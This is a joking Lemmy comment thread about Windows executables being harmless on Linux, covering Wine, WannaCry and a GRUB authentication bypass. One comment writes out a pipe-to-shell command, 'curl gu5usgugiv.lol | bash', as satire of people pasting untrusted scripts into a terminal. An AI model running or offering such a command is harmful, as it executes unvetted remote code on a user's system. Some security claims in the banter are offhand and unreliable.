Skip Navigation

linuxmemes @lemmy.world

plumbercraic @lemmy.sdf.org

20h ago

Exe in a bottle

82 comments

And then it starts running because you set up wine with binfmt_misc, only to crash a few seconds later

Remember that time, when it was possible for about 6 years to hack into any Linux system (without drive encryption) which had GRUB by pressing backspace exactly 28 times? Yeah, good old times.
https://www.hmarco.org/bugs/CVE-2015-8370-Grub2-authentication-bypass.html

Well if the exe was in a bottle it would be dangerous.
https://usebottles.com/ :D

Kinda related:
- Why does your admin account look like a scrotum?
  
  Maybe because scratching an itch there is generally seen as a bad move if you don't know what you're doing.
  
  Yours doesn’t?

... and yet some of the same people will readily copy-paste random shell scripts into their terminal without fully understanding them.
- ...so, never put things in the terminal?
  
  In fact, you should delete the terminal altogether. On a related note, powershell access is considered taboo in corporate environments by IT departments. When security audits are done, you lose a point if powershell can be used. It is in fact considered a hacking tool.
  
  Correct.
- curl gu5usgugiv.lol | bash || curl get.k3s.io | bash
  Someone did something similar to this with a fake brew package manager page. They paid Google to put it on the front page.
- But a forum post said it would fix my issue.
  
  I feel like there's some truth to this!
  If the posted answer was in a moderately active thread, you can generally assume it's correct if there are no contradictory replies.
- Raises hand I might be some people 🥺
  
  There's some people in all of us
- Let me open up my Linux bible and see if its malicious
- What do they hope to do in a temporary qube VM?

Wrong location my dear

This is were WINE comes handy /s
- Virus running in wine: "WTF is this place. It's familiar, but it's all wrong!"
- WannaCry: Platinium
  https://appdb.winehq.org/objectManager.php?sClass=application&iId=18249
  
  WannaCry is believed to use the EternalBlue exploit, which was developed by the U.S. National Security Agency (NSA)to attack computers running Microsoft Windows operating systems.
  Hehe
  
  now im really tempted to try it, we have a decryptor now dont we?
  inb4 decryptor: borked
  
  I'm not clicking that link

The virgin bin vs the chad .exe

A friend of mine once downloaded something malicious to his Linux machine and wasn't worried about it. Then some time later, while browsing his files from a Windows machine, saw it and was like, "hey, what's this?" Oops.
He's a tech savvy guy, so I'm guessing the fact he had downloaded it himself really let his guard down.
- That's why you don't store your stool samples in the same fridge as your chocolate pudding. Malware goes into the vault.
- That's another reason not to dual boot. Ditch Windows.

Wine automatically running:

It does if you right click it and run with wine or whatever it says
- in mint cinnamon it still has no power, wine is not in the context menu or program list!
  
  ...by default. You could always add it.

Modern viruses check the os before deciding which type of file to send your way.
- This is why you use a user agent switcher to lie about being windows. It's a form of anti malware!
  
  Except websites can tell what base OS you run using browser fingerprinting. It os impossible to lie aboit your OS because of the differences in platforms.
- Do you have any data to back up that claim? I don't think that's true at all, it would be very rare.
  
  Do you have any data to back up that claim?
  None whatsoever.
  I don’t think that’s true at all, it would be very rare.
  Suspicious words. You have one, don't you? Don't worry, I won't tell.
- Pick the least POSIX shell, or roll your own!
  <taps head>
  
  Rename all the coreutils. Confuse yourself and the hackers!

This has given me a horrendous idea involving a Windows batch file and a weird shebang
- Shebang needs executable rights afaik.
- you're not the first. there absolutely are multiplatform launcher scripts. i have used one for installers a few years ago.

Same with android. There isn't even wine there
- Android has an extensive application sandboxing mechanism

82 comments